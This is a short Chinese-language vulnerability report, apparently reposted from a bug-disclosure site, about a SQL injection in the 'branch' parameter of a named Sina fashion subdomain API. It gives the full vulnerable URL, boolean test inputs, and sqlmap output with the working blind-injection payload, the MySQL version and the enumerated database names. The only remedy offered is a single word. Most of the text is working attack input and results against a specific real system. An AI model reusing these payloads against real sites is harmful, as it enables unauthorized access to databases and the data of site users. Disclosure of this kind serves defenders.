新浪某分站又一SQL注入漏洞
程序员文章站
2022-06-23 09:30:43
最后一发 回去继续撸代码
URL: https://try.fashion.sina.com.cn/home/api/?callback=jQuery182012018619...
最后一发 回去继续撸代码
URL: https://try.fashion.sina.com.cn/home/api/?callback=jQuery18201201861931476742_1459425891527&s=front&a=get_beauty_branch&order=time&page=1&size=1&branch=34&_=1459425891539
branch参数存在注入漏洞
branch=34) and (1=1 正常
branch=34) and (1=2 异常
sqlmap
sqlmap resumed the following injection point(s) from stored session: --- Parameter: branch (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: callback=jQuery18201201861931476742_1459425891527&s=front&a=get_beauty_branch&order=time&page=1&size=1&branch=34) AND 9050=9050 AND (8014=8014&_=1459425891539 --- [21:27:18] [WARNING] changes made by tampering scripts are not included in shown payload content(s) [21:27:18] [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL 5.0.12 [21:27:18] [INFO] fetching database names [21:27:18] [INFO] fetching number of databases [21:27:18] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [21:27:18] [INFO] retrieved: 3 [21:27:20] [INFO] retrieved: information_schema [21:28:02] [INFO] retrieved: probation [21:28:24] [INFO] retrieved: test available databases [3]: [*] information_schema [*] probation [*] test
已证明
解决方案:过滤